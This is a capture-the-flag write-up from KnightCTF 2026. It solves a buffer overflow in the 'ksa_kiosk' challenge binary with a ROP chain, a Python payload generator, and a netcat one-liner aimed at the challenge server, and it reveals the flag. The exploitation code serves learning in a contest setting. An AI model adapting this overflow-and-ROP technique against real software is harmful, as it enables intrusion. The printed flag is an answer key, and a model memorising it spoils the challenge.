Knight Squad Academy - PWN Challenge Writeup#

Challenge: Knight Squad Academy
Category: PWN
Flag: KCTF{_We3Lc0ME_TO_Knight_Squad_Academy_}

Challenge Description#

A binary executable ksa_kiosk simulating a Knight Squad Academy enrollment kiosk was provided. The challenge required exploiting a buffer overflow vulnerability to gain control of program execution and retrieve the flag.

Target Server: nc 66.228.49.41 5000

Binary Analysis#

File Information#

1
$ file ksa_kiosk
2
ksa_kiosk: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
3
interpreter /lib64/ld-linux-x86-64.so.2, stripped

Key Findings#

Menu System: The binary presents a kiosk interface with 3 options:
- Register cadet
- Enrollment status
- Exit
Vulnerability Location: The “Register cadet” function (option 1) has a buffer overflow in the “Enrollment notes” field.
Buffer Overflow Details:
- Buffer size: 0x70 bytes (112 bytes)
- Read size: 0xf0 bytes (240 bytes)
- Overflow: 128 bytes beyond buffer boundary
Win Function: Located at 0x4013ac - reads and prints ./flag.txt
- Requires %rdi register to equal magic value 0x1337c0decafebeef
ROP Gadget: pop rdi; ret found at 0x40150b

Exploitation Strategy#

Stack Layout#

1
+------------------+
2
|   Buffer (112)   |  <- Enrollment notes input
3
+------------------+
4
|   Saved RBP (8)  |
5
+------------------+
6
|   Return Addr    |  <- Overwrite target
7
+------------------+

ROP Chain#

1
[120 bytes padding] + [pop_rdi gadget] + [magic value] + [win function]

Padding: 120 bytes (112 buffer + 8 saved RBP)
pop rdi; ret: 0x40150b - pops next value into RDI
Magic Value: 0x1337c0decafebeef - required argument
Win Function: 0x4013ac - prints flag

Exploit Code#

Python Payload Generator#

1
#!/usr/bin/env python3
2
"""
3
Knight Squad Academy - Buffer Overflow Exploit
4
Target: nc 66.228.49.41 5000
5
"""
6

7
import struct
8

9
# Addresses (little-endian)
10
POP_RDI = 0x40150b          # pop rdi; ret gadget
11
MAGIC = 0x1337c0decafebeef  # Required value in RDI
12
WIN_FUNC = 0x4013ac         # Win function that reads flag
13

14
# Build payload
15
padding = b'A' * 120        # 112 bytes buffer + 8 bytes saved RBP
16

17
payload = padding
18
payload += struct.pack('<Q', POP_RDI)    # pop rdi; ret
19
payload += struct.pack('<Q', MAGIC)       # value to pop into rdi
20
payload += struct.pack('<Q', WIN_FUNC)    # win function address
21

22
# Save to file
23
with open('payload.bin', 'wb') as f:
24
    f.write(payload)
25

26
print(f"[+] Payload generated: {len(payload)} bytes")
27
print(f"[+] Padding: 120 bytes")
28
print(f"[+] ROP Chain: pop_rdi -> 0x1337c0decafebeef -> win()")

Bash Exploit Runner#

1
#!/bin/bash
2
{ echo 1; echo AAAA; cat payload.bin; sleep 1; } | nc 66.228.49.41 5000

One-Liner Exploit#

1
{ echo 1; echo AAAA; cat payload.bin; sleep 1; } | nc 66.228.49.41 5000

Execution Flow#

Connect to nc 66.228.49.41 5000
Select option 1 - Register cadet
Enter any name - “AAAA”
Send overflow payload in enrollment notes field
ROP chain executes:
- pop rdi loads 0x1337c0decafebeef into RDI
- ret jumps to win function at 0x4013ac
- Win function validates RDI and prints flag

Output#

1
====================================================
2
             Knight Squad Academy
3
           Enrollment Kiosk  (v2.1)
4
====================================================
5
Authorized personnel only. All actions are audited.
6

7
1) Register cadet
8
2) Enrollment status
9
3) Exit
10
>
11
--- Cadet Registration ---
12
Cadet name:
13
> Enrollment notes:
14
> [Enrollment] Entry received.
15
Welcome, Cadet AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.
16
Please wait for assignment.
17
[Registry] Clearance badge issued:
18
Your Flag : KCTF{_We3Lc0ME_TO_Knight_Squad_Academy_} ... Visit our website : knightsquad.academy

Key Takeaways#

Classic Buffer Overflow: Unbounded read into fixed-size buffer
ROP Chain: Used to bypass potential protections and set up function arguments
Magic Value Check: Common CTF pattern requiring specific register value
x86-64 Calling Convention: First argument passed in RDI register

Tools Used#

file - Binary identification
strings - String extraction
objdump - Disassembly
nc (netcat) - Network connection
Python3 - Payload generation

Author: MR. Umair
Date: January 20, 2026
Competition: KnightCTF 2026